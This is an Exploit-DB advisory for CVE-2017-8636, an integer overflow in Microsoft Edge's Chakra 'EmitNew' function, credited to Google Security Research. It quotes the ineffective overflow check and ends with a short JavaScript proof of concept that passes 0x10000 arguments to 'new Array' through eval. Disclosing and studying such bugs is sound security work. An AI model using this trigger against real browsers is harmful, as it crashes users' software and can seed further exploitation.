Microsoft Edge Chakra - 'EmitNew' Integer Overflow

EDB-ID: 42478
Author: Google Security Research
Published: 2017-08-17
CVE: CVE-2017-8636
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A


The bytecode generator uses the "EmitNew" function to handle new operators.
Here's the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
Js::ArgSlot argCount = pnode->sxCall.argCount;
argCount++; // include "this"

BOOL fSideEffectArgs = FALSE;
unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
Assert(argCount == tmpCount);

if (argCount != (Js::ArgSlot)argCount)

"Js::ArgSlot" is a 16 bit unsigned integer type. And "argCount" is of the type "Js::ArgSlot". So "if (argCount != (Js::ArgSlot)argCount)" has no point. It can't prevent the integer overflow at all.


let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');

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